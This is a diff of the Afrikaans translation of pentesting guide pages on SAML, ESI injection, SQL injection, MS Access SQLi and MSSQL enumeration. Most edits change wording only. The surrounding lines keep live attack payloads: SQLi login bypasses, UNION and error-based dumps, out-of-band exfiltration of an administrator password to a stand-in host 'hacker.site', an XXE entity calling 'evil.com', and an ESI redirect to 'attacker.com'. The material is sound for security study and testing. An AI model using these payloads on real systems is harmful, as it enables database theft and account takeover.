 - **OAuth** is ontwerp om meer mobiele-vriendelik te wees, gebruik JSON, en is 'n samewerkende poging van maatskappye soos Google en Twitter.
 
 # SAML Verifikasie Stroom
@@ -44,9 +44,9 @@ Die rou SAML-versoek lyk soos volg:
 ```
 Belangrike elemente van hierdie versoek sluit in:
 
-- **AssertionConsumerServiceURL**: Gee aan waar die IdP die SAML Response na die verifikasie moet stuur.
+- **AssertionConsumerServiceURL**: Gee aan waar die IdP die SAML Response na verifikasie moet stuur.
 - **Destination**: Die IdP se adres waarnatoe die versoek gestuur word.
-- **ProtocolBinding**: Definieer die oordragmetode van SAML-protokolboodskappe.
+- **ProtocolBinding**: Definieer die transmissiemetode van SAML-protokolboodskappe.
 - **saml:Issuer**: Identifiseer die entiteit wat die versoek geïnisieer het.
 
 Na die generering van die SAML Versoek, reageer die SP met 'n **302 redirect**, wat die blaaier na die IdP lei met die SAML Versoek gekodeer in die HTTP response se **Location** kop. Die **RelayState** parameter handhaaf die staat-inligting deur die transaksie, wat verseker dat die SP die aanvanklike hulpbron versoek herken wanneer die SAML Response ontvang word. Die **SAMLRequest** parameter is 'n gecomprimeerde en gekodeerde weergawe van die rou XML-snippet, wat Deflate-kompressie en base64-kodering gebruik.
@@ -55,13 +55,13 @@ Na die generering van die SAML Versoek, reageer die SP met 'n **302 redirect**,
 
 Jy kan 'n [volle SAML response hier vind](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). Die sleutelkomponente van die response sluit in:
 
-- **ds:Signature**: Hierdie afdeling, 'n XML Handtekening, verseker die integriteit en egtheid van die uitgever van die bevestiging. Die SAML response in die voorbeeld bevat twee `ds:Signature` elemente, een vir die boodskap en die ander vir die bevestiging.
+- **ds:Signature**: Hierdie afdeling, 'n XML Handtekening, verseker die integriteit en egtheid van die uitgever van die bewering. Die SAML response in die voorbeeld bevat twee `ds:Signature` elemente, een vir die boodskap en die ander vir die bewering.
 - **saml:Assertion**: Hierdie deel hou inligting oor die gebruiker se identiteit en moontlik ander eienskappe.
-- **saml:Subject**: Dit spesifiseer die hoofonderwerp van al die stellings in die bevestiging.
+- **saml:Subject**: Dit spesifiseer die hoofonderwerp van al die stellings in die bewering.
 - **saml:StatusCode**: Verteenwoordig die status van die operasie in reaksie op die ooreenstemmende versoek.
-- **saml:Conditions**: Beskryf voorwaardes soos die geldigheidstyd van die Bevestiging en die gespesifiseerde Diensverskaffer.
-- **saml:AuthnStatement**: Bevestig dat die IdP die onderwerp van die Bevestiging geverifieer het.
-- **saml:AttributeStatement**: Bevat eienskappe wat die onderwerp van die Bevestiging beskryf.
+- **saml:Conditions**: Beskryf voorwaardes soos die geldigheidstyd van die Bewering en die gespesifiseerde Diensverskaffer.
+- **saml:AuthnStatement**: Bevestig dat die IdP die onderwerp van die Bewering geverifieer het.
+- **saml:AttributeStatement**: Bevat eienskappe wat die onderwerp van die Bewering beskryf.
 
 Na die SAML Response sluit die proses 'n 302 redirect van die IdP in. Dit lei tot 'n POST versoek na die Diensverskaffer se Assertion Consumer Service (ACS) URL. Die POST versoek sluit `RelayState` en `SAMLResponse` parameters in. Die ACS is verantwoordelik vir die verwerking en validasie van die SAML Response.
 
@@ -116,7 +116,7 @@ Voorbeeld:
 
 In 'n omhulde handtekening spesifiseer die `ds:Transform` element dat dit omhul is deur die `enveloped-signature` algoritme.
 
-2. **Omhulende Handtekening**: In teenstelling met omhulde handtekeninge, omhulende handtekeninge verpak die hulpbron wat onderteken word.
+2. **Omhulende Handtekening**: In teenstelling met omhulde handtekeninge, omhulende handtekeninge omhul die hulpbron wat onderteken word.
 
 Voorbeeld:
 
@@ -152,7 +152,7 @@ Voorbeeld:
 </ds:Signature>
 ```
 
-Ten slotte bied XML Handtekeninge buigsame maniere om XML-dokumente te beveilig, met elke tipe wat verskillende strukturele en sekuriteitsbehoeftes dien.
+Ten slotte bied XML Handtekeninge buigsame maniere om XML-dokumente te beveilig, met elke tipe wat verskillende struktuurlike en sekuriteitsbehoeftes dien.
 
 ## Verwysings
 

src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

@@ -56,8 +56,8 @@ Jy kan die teenwoordigheid van SSI aflei as die webtoepassing lêers met die uit
 ```
 ## Edge Side Inclusion
 
-Daar is 'n probleem **met die kas van inligting of dinamiese toepassings** aangesien die **inhoud** vir die volgende keer wat die inhoud opgehaal word, **verskillend** mag wees. Dit is waarvoor **ESI** gebruik word, om aan te dui met ESI-tags die **dinamiese inhoud wat gegenereer moet word** voordat die kasweergawe gestuur word.\
-As 'n **aanvaller** in staat is om 'n **ESI-tag** binne die kasinhoud te **injekteer**, kan hy in staat wees om **arbitraire inhoud** in die dokument te **injekteer** voordat dit aan die gebruikers gestuur word.
+Daar is 'n probleem **met die kas van inligting of dinamiese toepassings** aangesien die **inhoud** vir die volgende keer wat die inhoud verkry word, **verskillend** mag wees. Dit is waarvoor **ESI** gebruik word, om aan te dui met ESI-tags die **dinamiese inhoud wat gegenereer moet word** voordat die kasweergawe gestuur word.\
+As 'n **aanvaller** in staat is om 'n **ESI-tag** binne die kasinhoud te **injekteer**, kan hy in staat wees om **arbitraire inhoud** op die dokument in te voeg voordat dit aan die gebruikers gestuur word.
 
 ### ESI Detection
 
@@ -89,7 +89,7 @@ hell<!--esi-->o
 ```
 ### ESI-uitbuiting
 
-[GoSecure het geskep](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 'n tabel om moontlike aanvalle te verstaan wat ons teen verskillende ESI-ondersteunde sagteware kan probeer, afhangende van die funksionaliteit wat ondersteun word:
+[GoSecure het geskep](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 'n tabel om moontlike aanvalle te verstaan wat ons teen verskillende ESI-vaardige sagteware kan probeer, afhangende van die funksionaliteit wat ondersteun word:
 
 - **Includes**: Ondersteun die `<esi:includes>` riglyn
 - **Vars**: Ondersteun die `<esi:vars>` riglyn. Nuttig om XSS-filters te omseil
@@ -100,8 +100,8 @@ hell<!--esi-->o
 |         **Sagteware**         | **Includes** | **Vars** | **Koekies** | **Opwaartse Koppe Vereis** | **Gasheer Witlys** |
 | :----------------------------: | :----------: | :------: | :---------: | :------------------------: | :----------------: |
 |            Squid3             |     Ja       |   Ja     |     Ja      |              Ja            |         Nee        |
-|        Varnish Cache          |     Ja       |    Nee   |     Nee     |              Ja            |        Ja          |
-|            Fastly             |     Ja       |    Nee   |     Nee     |              Nee           |        Ja          |
+|        Varnish Cache          |     Ja       |    Nee   |     Nee     |              Ja            |         Ja         |
+|            Fastly             |     Ja       |    Nee   |     Nee     |              Nee           |         Ja         |
 | Akamai ESI Toetsbediener (ETS) |     Ja       |   Ja     |     Ja      |              Nee           |         Nee        |
 |          NodeJS esi           |     Ja       |   Ja     |     Ja      |              Nee           |         Nee        |
 |        NodeJS nodesi          |     Ja       |    Nee   |     Nee     |              Nee           |      Opsioneel     |
@@ -148,7 +148,7 @@ Moet dit nie verwar met 'n "Local File Inclusion":
 ```
 #### Open Redirect
 
-Die volgende sal 'n `Location` kop aan die antwoord toevoeg
+Die volgende sal 'n `Location` kop aan die antwoord voeg
 ```bash
 <!--esi $add_header('Location','http://attacker.com') -->
 ```
@@ -193,8 +193,6 @@ XSLT-lêer:
 <!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
 <foo>&xxe;</foo>
 ```
-Kontroleer die XSLT-bladsy:
-
 {{#ref}}
 xslt-server-side-injection-extensible-stylesheet-language-transformations.md
 {{#endref}}

src/pentesting-web/sql-injection/README.md

@@ -22,9 +22,9 @@ Wanneer 'n webwerf blyk te wees **kwesbaar vir SQL-inspuiting (SQLi)** weens ong
 "))
 `))
 ```
-Dan moet jy weet hoe om die **navraag reg te stel sodat daar nie foute is nie**. Om die navraag reg te stel, kan jy **data invoer** sodat die **vorige navraag die nuwe data aanvaar**, of jy kan net jou data **invoer** en **'n kommentaar simbool aan die einde voeg**.
+Dan, jy moet weet hoe om die **navraag reg te stel sodat daar nie foute is nie**. Om die navraag reg te stel, kan jy **data invoer** sodat die **vorige navraag die nuwe data aanvaar**, of jy kan net jou data **invoer** en **'n kommentaar simbool aan die einde voeg**.
 
-_Nota dat as jy foutboodskappe kan sien of jy kan verskille opmerk wanneer 'n navraag werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
+_Let daarop dat as jy foutboodskappe kan sien of jy kan verskille opmerk wanneer 'n navraag werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
 
 ### **Kommentaar**
 ```sql
@@ -65,14 +65,14 @@ page.asp?id=1' or 1=1 -- results in true
 page.asp?id=1" or 1=1 -- results in true
 page.asp?id=1 and 1=2 -- results in false
 ```
-Hierdie woordlys is geskep om te probeer om **SQLinjections** op die voorgestelde manier te **bevestig**:
+Hierdie woordlys is geskep om te probeer om **SQL-inspuitings** op die voorgestelde manier te **bevestig**:
 
 {% file src="../../images/sqli-logic.txt" %}
 
 ### Bevestiging met Tyd
 
-In sommige gevalle **sal jy geen verandering** op die bladsy wat jy toets, opgemerk nie. Daarom is 'n goeie manier om **blinde SQL injections** te ontdek om die DB aksies te laat uitvoer wat 'n **invloed op die tyd** sal hê wat die bladsy benodig om te laai.\
-Daarom gaan ons in die SQL-navraag 'n operasie byvoeg wat baie tyd sal neem om te voltooi:
+In sommige gevalle **sal jy geen verandering** op die bladsy wat jy toets, opgemerk nie. Daarom is 'n goeie manier om **blinde SQL-inspuitings** te **ontdek** om die DB aksies te laat uitvoer wat 'n **invloed op die tyd** sal hê wat die bladsy benodig om te laai.\
+Daarom gaan ons 'n operasie wat baie tyd sal neem om te voltooi, in die SQL-navraag concat.
 ```
 MySQL (string concat and logical ops)
 1' + sleep(10)
@@ -143,7 +143,7 @@ As jy die uitvoer van die navraag kan sien, is dit die beste manier om dit te on
 Eerstens moet ons uitvind wat die **aantal** **kolomme** is wat die **aanvanklike versoek** teruggee. Dit is omdat **albei navrae dieselfde aantal kolomme moet teruggee**.\
 Twee metodes word tipies vir hierdie doel gebruik:
 
-#### Order/Groep deur
+#### Order/Groep volgens
 
 Om die aantal kolomme in 'n navraag te bepaal, pas die getal wat in **ORDER BY** of **GROUP BY** klousules gebruik word, geleidelik aan totdat 'n vals antwoord ontvang word. Ten spyte van die verskillende funksies van **GROUP BY** en **ORDER BY** binne SQL, kan albei identies gebruik word om die kolomtelling van die navraag te bepaal.
 ```sql
@@ -171,7 +171,7 @@ Kies meer en meer null waardes totdat die navraag korrek is:
 ```
 _Jy moet `null` waardes gebruik soos in sommige gevalle die tipe van die kolomme aan beide kante van die navraag dieselfde moet wees en null is geldig in elke geval._
 
-### Trek databasisname, tabelname en kolomnamen uit
+### Trek databasisname, tabelname en kolomname uit
 
 In die volgende voorbeelde gaan ons die naam van al die databasisse, die tabelnaam van 'n databasis, die kolomnamen van die tabel onttrek:
 ```sql
@@ -188,9 +188,9 @@ _Daar is 'n ander manier om hierdie data op elke verskillende databasis te ontde
 
 ## Exploiting Hidden Union Based
 
-Wanneer die uitvoer van 'n navraag sigbaar is, maar 'n union-gebaseerde inspuiting onbereikbaar blyk te wees, dui dit op die teenwoordigheid van 'n **hidden union-based injection**. Hierdie scenario lei dikwels tot 'n blinde inspuitingsituasie. Om 'n blinde inspuiting in 'n union-gebaseerde een te transformeer, moet die uitvoeringsnavraag op die agterkant verstaan word.
+Wanneer die uitvoer van 'n navraag sigbaar is, maar 'n union-gebaseerde inspuiting onbereikbaar blyk te wees, dui dit op die teenwoordigheid van 'n **verborgene union-gebaseerde inspuiting**. Hierdie scenario lei dikwels tot 'n blinde inspuitingsituasie. Om 'n blinde inspuiting in 'n union-gebaseerde een te transformeer, moet die uitvoeringsnavraag op die agterkant verstaan word.
 
-Dit kan bereik word deur die gebruik van blinde inspuitingstegnieke saam met die standaard tabelle wat spesifiek is vir jou teiken Database Management System (DBMS). Om hierdie standaard tabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
+Dit kan bereik word deur die gebruik van blinde inspuitingstegnieke saam met die standaard tabelle wat spesifiek is vir jou teiken Databasisbestuurstelsel (DBMS). Om hierdie standaard tabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
 
 Sodra die navraag onttrek is, is dit nodig om jou payload aan te pas om die oorspronklike navraag veilig te sluit. Vervolgens word 'n union-navraag by jou payload gevoeg, wat die benutting van die nuut toeganklike union-gebaseerde inspuiting fasiliteer.
 
@@ -198,7 +198,7 @@ Vir meer omvattende insigte, verwys na die volledige artikel beskikbaar by [Heal
 
 ## Exploiting Error based
 
-As jy om een of ander rede **nie** die **uitvoer** van die **navraag** kan sien nie, maar jy kan **die foutboodskappe sien**, kan jy hierdie foutboodskappe gebruik om data uit die databasis te **ex-filtrate**.\
+As jy om een of ander rede **nie** die **uitvoer** van die **navraag** kan sien nie, maar jy kan **die foutboodskappe** sien, kan jy hierdie foutboodskappe gebruik om **data uit die databasis te ex-filtreer**.\
 Volg 'n soortgelyke vloei soos in die Union Based benutting, kan jy daarin slaag om die DB te dump.
 ```sql
 (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
@@ -230,21 +230,21 @@ Jy kan gestapelde vrae gebruik om **meerdere vrae agtereenvolgens uit te voer**.
 
 ## Uit-band Exploitatie
 
-As **geen ander** eksploitasiemetode **gewerk het nie**, kan jy probeer om die **databasis** die inligting na 'n **eksterne gasheer** wat deur jou beheer word, te laat uitvloe. Byvoorbeeld, via DNS-vrae:
+As **geen ander** eksploitasiemetode **gewerk het nie**, kan jy probeer om die **databasis** die inligting na 'n **eksterne gasheer** wat deur jou beheer word, te laat uitvloei. Byvoorbeeld, via DNS-vrae:
 ```sql
 select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
 ```
-### Uit-baan data eksfiltrasie via XXE
+### Uit-baan data uitvloeiing via XXE
 ```sql
 a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
 ```
 ## Geoutomatiseerde Exploitatie
 
-Kyk na die [SQLMap Cheatsheet](sqlmap/) om 'n SQLi kwesbaarheid met [**sqlmap**](https://github.com/sqlmapproject/sqlmap) te benut.
+Kyk na die [SQLMap Cheatsheet](sqlmap/) om 'n SQLi kwesbaarheid met [**sqlmap**](https://github.com/sqlmapproject/sqlmap) te exploiteer.
 
 ## Tegnologie spesifieke inligting
 
-Ons het reeds al die maniere bespreek om 'n SQL Injection kwesbaarheid te benut. Vind nog 'n paar truuks wat afhanklik is van databasis tegnologie in hierdie boek:
+Ons het reeds al die maniere bespreek om 'n SQL Injection kwesbaarheid te exploiteer. Vind nog 'n paar truuks wat afhanklik is van databasis tegnologie in hierdie boek:
 
 - [MS Access](ms-access-sql-injection.md)
 - [MSSQL](mssql-injection.md)
@@ -252,7 +252,7 @@ Ons het reeds al die maniere bespreek om 'n SQL Injection kwesbaarheid te benut.
 - [Oracle](oracle-injection.md)
 - [PostgreSQL](postgresql-injection/)
 
-Of jy sal **baie truuks vind rakende: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
+Of jy sal **'n baie truuks vind rakende: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
 
 ## Verifikasie omseiling
 
@@ -266,12 +266,12 @@ Lys om te probeer om die aanmeld funksionaliteit te omseil:
 ```sql
 "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
 ```
-Hierdie navraag toon 'n kwesbaarheid wanneer MD5 met waar vir rou uitvoer in outentikasie kontroles gebruik word, wat die stelsel kwesbaar maak vir SQL-inspuiting. Aanvallers kan dit benut deur invoer te skep wat, wanneer gehas, onverwagte SQL-opdragdele produseer, wat lei tot ongemagtigde toegang.
+Hierdie navraag toon 'n kwesbaarheid wanneer MD5 met waar vir rou uitvoer in outentikasie kontroles gebruik word, wat die stelsel vatbaar maak vir SQL-inspuiting. Aanvallers kan dit benut deur insette te skep wat, wanneer gehasht, onverwagte SQL-opdragdele produseer, wat lei tot ongemagtigde toegang.
 ```sql
 md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
 sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
 ```
-### Geïnkorporeerde hash outentiekheid omseiling
+### Geïnkorporeerde hash outentekening omseiling
 ```sql
 admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
 ```
@@ -317,7 +317,7 @@ Om dit te doen, moet jy probeer om **'n nuwe objek te skep met die naam "master
 
 As die databasis kwesbaar is en die maksimum aantal karakters vir gebruikersnaam byvoorbeeld 30 is en jy wil die gebruiker **admin** naboots, probeer om 'n gebruikersnaam te skep genaamd: "_admin \[30 spasies] a_" en enige wagwoord.
 
-Die databasis sal **kontroleer** of die ingevoerde **gebruikersnaam** **bestaande** is in die databasis. As **nie**, sal dit die **gebruikersnaam** **afsnit** tot die **maksimum toegelate aantal karakters** (in hierdie geval tot: "_admin \[25 spasies]_") en dan sal dit **automaties al die spasies aan die einde verwyder** terwyl dit die gebruiker "**admin**" met die **nuwe wagwoord** in die databasis opdateer (sommige foute kan verskyn, maar dit beteken nie dat dit nie gewerk het nie).
+Die databasis sal **kontroleer** of die ingevoerde **gebruikersnaam** **bestaande** is in die databasis. As **nie**, sal dit die **gebruikersnaam** **afkap** tot die **maksimum toegelate aantal karakters** (in hierdie geval tot: "_admin \[25 spasies]_") en dan sal dit **automaties al die spasies aan die einde verwyder** terwyl dit die gebruiker "**admin**" met die **nuwe wagwoord** in die databasis opdateer (sommige foute kan verskyn, maar dit beteken nie dat dit nie gewerk het nie).
 
 Meer inligting: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
 
@@ -325,13 +325,13 @@ _Noot: Hierdie aanval sal nie meer werk soos hierbo beskryf in die nuutste MySQL
 
 ### MySQL Invoeg tydgebaseerde kontrole
 
-Voeg soveel `','',''` by as wat jy oorweeg om die VALUES-verklaring te verlaat. As daar 'n vertraging uitgevoer word, het jy 'n SQLInjection.
+Voeg soveel `','',''` by as wat jy oorweeg om die VALUES-verklaring te verlaat. As 'n vertraging uitgevoer word, het jy 'n SQLInjection.
 ```sql
 name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
 ```
-### OP DUPLIKATE SLUITING BYWERK
+### OP DUPLIKATE SLUITEL UPDATE
 
-Die `ON DUPLICATE KEY UPDATE` klousule in MySQL word gebruik om aksies vir die databasis spesifiek te maak wanneer 'n poging aangewend word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIEKE indeks of PRIMÊRE SLUITING sou veroorsaak. Die volgende voorbeeld demonstreer hoe hierdie kenmerk uitgebuit kan word om die wagwoord van 'n administrateurrekening te wysig:
+Die `ON DUPLICATE KEY UPDATE` klousule in MySQL word gebruik om aksies vir die databasis spesifiek te maak wanneer 'n poging aangewend word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIEKE indeks of PRIMÊRE SLUITEL sou veroorsaak. Die volgende voorbeeld demonstreer hoe hierdie kenmerk uitgebuit kan word om die wagwoord van 'n administrateurrekening te wysig:
 
 Voorbeeld Payload Inspuiting:
 
@@ -358,13 +358,13 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
 ```
 #### Gebruik van desimale of hexadesimale
 
-Met hierdie tegniek kan jy inligting onttrek deur slegs 1 rekening te skep. Dit is belangrik om te noem dat jy nie enige kommentaar hoef te lewer nie.
+Met hierdie tegniek kan jy inligting onttrek deur slegs 1 rekening te skep. Dit is belangrik om te noem dat jy nie iets hoef te kommentaar nie.
 
 Gebruik **hex2dec** en **substr**:
 ```sql
 '+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
 ```
-Om die teks te verkry, kan jy gebruik:
+Om die teks te verkry kan jy gebruik:
 ```python
 __import__('binascii').unhexlify(hex(215573607263)[2:])
 ```
@@ -388,9 +388,9 @@ Voorbeeld:
 ```
 ## WAF Bypass
 
-[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
+[Beginner bypasses hier](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
 
-### Geen spaties omseiling
+### Geen spasie omseiling
 
 Geen Spasie (%20) - omseiling met behulp van witruimte alternatiewe
 ```sql
@@ -451,7 +451,7 @@ Dit is moontlik om die **derde kolom van 'n tabel te verkry sonder om sy naam te
 # This is an example with 3 columns that will extract the column number 3
 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
 ```
-Of deur 'n **komma omseiling** te gebruik:
+Of deur 'n **comma bypass** te gebruik:
 ```bash
 # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
 -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

src/pentesting-web/sql-injection/ms-access-sql-injection.md

@@ -25,13 +25,13 @@ As dit nie werk nie, kan jy altyd die sintaksis van die navraag regmaak:
 ```sql
 1' UNION SELECT 1,2 FROM table WHERE ''='
 ```
-### Gestapelde Vrae
+### Gelaaide Vrae
 
 Hulle word nie ondersteun nie.
 
 ### BEPERK
 
-Die **`LIMIT`** operator **is nie geïmplementeer** nie. Dit is egter moontlik om SELECT-vraagresultate te beperk tot die **eerste N tabel rye met die `TOP` operator**. `TOP` aanvaar as argument 'n heelgetal, wat die aantal rye verteenwoordig wat teruggegee moet word.
+Die **`BEPERK`** operator **is nie geïmplementeer nie**. Dit is egter moontlik om SELECT-vraagresultate te beperk tot die **eerste N tabel rye met die `TOP` operator**. `TOP` aanvaar as argument 'n heelgetal, wat die aantal rye verteenwoordig wat teruggegee moet word.
 ```sql
 1' UNION SELECT TOP 3 attr FROM table%00
 ```
@@ -41,7 +41,7 @@ Net soos TOP kan jy **`LAST`** gebruik wat die **rye van die einde** sal kry.
 
 In 'n SQLi wil jy gewoonlik op een of ander manier 'n nuwe vraag uitvoer om inligting uit ander tabelle te onttrek. MS Access vereis altyd dat in **subvrae of ekstra vrae 'n `FROM` aangedui word**.\
 So, as jy 'n `UNION SELECT` of `UNION ALL SELECT` of 'n `SELECT` tussen hakies in 'n voorwaarde wil uitvoer, moet jy altyd **'n `FROM` met 'n geldige tabelnaam aandui**.\
-Daarom moet jy 'n **geldige tabelnaam** ken.
+Daarom moet jy 'n **geldige tabelnaam** weet.
 ```sql
 -1' UNION SELECT username,password from users%00
 ```
@@ -52,7 +52,7 @@ Daarom moet jy 'n **geldige tabelnaam** ken.
 
 **MS Access** laat **vreemde sintaksis** soos **`'1'=2='3'='asd'=false`** toe. Soos gewoonlik sal die SQL-inspuiting binne 'n **`WHERE`** klousule wees en ons kan dit misbruik.
 
-Stel jou voor jy het 'n SQLi in 'n MS Access-databasis en jy weet (of het geraai) dat een **kolomnaam username** is, en dit is die veld wat jy wil **exfiltreer**. Jy kan die verskillende reaksies van die webtoepassing nagaan wanneer die ketting gelyk tegniek gebruik word en moontlik inhoud met 'n **booleaanse inspuiting** exfiltreer deur die **`Mid`** funksie te gebruik om substrings te verkry.
+Stel jou voor jy het 'n SQLi in 'n MS Access-databasis en jy weet (of het geraai) dat een **kolomnaam username** is, en dit is die veld wat jy wil **exfiltreer**. Jy kan die verskillende reaksies van die webtoepassing nagaan wanneer die ketting gelyk tegniek gebruik word en moontlik inhoud exfiltreer met 'n **booleaanse inspuiting** deur die **`Mid`** funksie te gebruik om substrings te verkry.
 ```sql
 '=(Mid(username,1,3)='adm')='
 ```
@@ -95,7 +95,7 @@ Of jy kan die kolomname van 'n **ander tabel** brute-force met:
 ```
 ### Data dump
 
-Ons het reeds die [**chaining equals tegniek**](ms-access-sql-injection.md#chaining-equals-+-substring) **bespreek om data uit die huidige en ander tabelle te dump**. Maar daar is ander maniere:
+Ons het reeds die [**chaining equals technique**](ms-access-sql-injection.md#chaining-equals-+-substring) **bespreek om data van die huidige en ander tabelle te dump**. Maar daar is ander maniere:
 ```sql
 IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
 ```
@@ -128,39 +128,39 @@ order by MSysObjects.name
 ```
 However, note that is very typical to find SQL Injections where you **don't have access to read the table `MSysObjects`**.
 
-## FileSystem toegang
+## FileSystem access
 
-### Web Root Directory Volle Pad
+### Web Root Directory Full Path
 
-Die kennis van die **web root absolute pad mag verdere aanvalle fasiliteer**. As toepassingsfoute nie heeltemal verborge is nie, kan die gids pad ontdek word deur te probeer om data van 'n nie-bestaande databasis te kies.
+Die kennis van die **web root absolute path mag verdere aanvalle fasiliteer**. As toepassingsfoute nie heeltemal verborge is nie, kan die gids pad ontdek word deur te probeer om data van 'n nie-bestaande databasis te kies.
 
 `http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
 
 MS Access reageer met 'n **foutboodskap wat die web gids se volle padnaam bevat**.
 
-### Lêer Enumerasie
+### File Enumeration
 
-Die volgende aanvalsvector kan gebruik word om **die bestaan van 'n lêer op die afstands lêerstelsel af te lei**. As die gespesifiseerde lêer bestaan, aktiveer MS Access 'n foutboodskap wat inligting gee dat die databasisformaat ongeldig is:
+Die volgende aanvalsvector kan gebruik word om **die bestaan van 'n lêer op die afstands-filsysteem af te lei**. As die gespesifiseerde lêer bestaan, aktiveer MS Access 'n foutboodskap wat inligting gee dat die databasisformaat ongeldig is:
 
 `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
 
-Nog 'n manier om lêers te enumerate, bestaan uit **die spesifisering van 'n databasis.tabel item**. **As** die gespesifiseerde **lêer bestaan**, vertoon MS Access 'n **databasisformaat foutboodskap**.
+Nog 'n manier om lêers te tel, bestaan uit **die spesifisering van 'n database.tabel item**. **As** die gespesifiseerde **lêer bestaan**, vertoon MS Access 'n **databasisformaat foutboodskap**.
 
 `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
 
-### .mdb Lêernaam Raai
+### .mdb File Name Guessing
 
 **Databasis lêernaam (.mdb)** kan afgelei word met die volgende navraag:
 
 `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
 
-Waar **name\[i] 'n .mdb lêernaam** is en **realTable 'n bestaande tabel** binne die databasis is. Alhoewel MS Access altyd 'n foutboodskap sal aktiveer, is dit moontlik om te onderskei tussen 'n ongeldige lêernaam en 'n geldige .mdb lêernaam.
+Waar **name\[i] 'n .mdb lêernaam is** en **realTable 'n bestaande tabel** binne die databasis. Alhoewel MS Access altyd 'n foutboodskap sal aktiveer, is dit moontlik om tussen 'n ongeldige lêernaam en 'n geldige .mdb lêernaam te onderskei.
 
-### .mdb Wagwoord Kraker
+### .mdb Password Cracker
 
 [**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is 'n gratis nut wat gebruik kan word om die hoof databasis wagwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.
 
-## Verwysings
+## References
 
 - [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
 

src/pentesting-web/sql-injection/mssql-injection.md

@@ -2,12 +2,12 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Aktiewe Directory enumerasie
+## Active Directory enumerasie
 
-Dit mag moontlik wees om **domein gebruikers te enumerate via SQL-inspuiting binne 'n MSSQL** bediener deur die volgende MSSQL funksies te gebruik:
+Dit mag moontlik wees om **domein gebruikers te enumeer via SQL-inspuiting binne 'n MSSQL** bediener met behulp van die volgende MSSQL funksies:
 
 - **`SELECT DEFAULT_DOMAIN()`**: Kry huidige domeinnaam.
-- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: As jy die naam van die domein (_DOMAIN_ in hierdie voorbeeld) ken, sal hierdie funksie die **SID van die gebruiker Administrator** in hex formaat teruggee. Dit sal lyk soos `0x01050000000[...]0000f401`, let op hoe die **laaste 4 bytes** die nommer **500** in **big endian** formaat is, wat die **gewone ID van die gebruiker administrateur** is.\
+- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: As jy die naam van die domein (_DOMAIN_ in hierdie voorbeeld) ken, sal hierdie funksie die **SID van die gebruiker Administrator** in hex formaat teruggee. Dit sal lyk soos `0x01050000000[...]0000f401`, let op hoe die **laaste 4 bytes** die nommer **500** in **big endian** formaat is, wat die **gewone ID van die gebruiker administrator** is.\
 Hierdie funksie sal jou toelaat om die **ID van die domein** te **ken** (al die bytes behalwe die laaste 4).
